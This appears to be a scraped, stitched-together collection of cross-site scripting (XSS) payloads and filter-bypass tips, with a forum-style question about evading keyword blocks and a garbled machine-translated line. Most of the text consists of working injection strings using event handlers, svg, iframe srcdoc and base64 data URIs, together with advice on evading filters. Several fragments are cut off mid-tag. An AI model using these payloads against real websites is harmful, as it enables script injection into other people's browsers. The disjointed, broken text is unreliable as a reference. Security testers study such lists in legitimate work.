</body onload> <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover> <object onbeforeload object onbeforeload="javascript
If we give <script>prompt(1)</script>, this will not fire the prompt(1) as its simply a script context where no explicit decoding is done by the javascript engine. But if we enclose it within an svg tag, you can see that it fires the payload, making us execute the prompt(1). Thanks mario !
I have come across a field that is vulnerable to XSS. It accepts and tags however keywords script,alert, msgbox, prompt are blocked. I have tried every encoded version of these keywords but its not working. Is there any way that i can show a POC (XSS popup) without using the above keywords.
Посмотрите, отфильтрован ли весь возвращенный ответ или отфильтрована только его часть, оставлено ли оноalert,prompt,confirmСимвол, а затем попробуйте сочетание верхнего и нижнего регистра
<BODY ONLOAD=alert('hellox worldss')> <input onfocus=write(XSS) autofocus> <input onblur=write(XSS) autofocus
Character set bug s have appeared many times in IE, the first one is UTF-7, but this one is only available in previous versions.
...base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+">click</a> "><textarea autofocus onfocus=prompt(1)> ">.
<svg </onload ="1> (_=prompt,_(1)) "">.
<iframe srcdoc='<body onload=prompt(1)>